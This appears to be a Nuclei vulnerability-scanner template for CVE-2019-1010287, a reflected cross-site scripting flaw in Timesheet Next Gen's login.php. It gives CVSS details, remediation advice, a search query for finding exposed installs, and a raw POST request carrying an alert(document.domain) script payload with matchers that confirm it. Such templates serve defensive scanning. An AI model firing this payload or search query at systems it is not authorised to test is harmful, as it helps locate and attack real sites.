Timesheet Next Gen <=1.5.3 - Cross-Site Scripting

id: CVE-2019-1010287

info:
  name: Timesheet Next Gen <=1.5.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: 'Timesheet Next Gen 1.5.3 and earlier is vulnerable to cross-site scripting that allows an attacker to execute arbitrary HTML and JavaScript code via a "redirect" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url.'
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Timesheet Next Gen (1.5.4 or above) that properly sanitizes user input to prevent XSS attacks.
  reference:
    - http://www.mdh-tz.info/
    - https://sourceforge.net/p/tsheetx/discussion/779083/thread/7fcb52f696/
    - https://sourceforge.net/p/tsheetx/code/497/tree/branches/legacy/login.php#l40
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-1010287
    cwe-id: CWE-79
    epss-score: 0.043
    epss-percentile: 0.89933
    cpe: cpe:2.3:a:timesheet_next_gen_project:timesheet_next_gen:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: timesheet_next_gen_project
    product: timesheet_next_gen
    google-query: inurl:"/timesheet/login.php"
  tags: cve,cve2019,timesheet,xss,timesheet_next_gen_project,vuln

http:
  - raw:
      - |
        POST /timesheet/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>javascript:alert(document.domain)</script>'

      - type: status
        status:
          - 200
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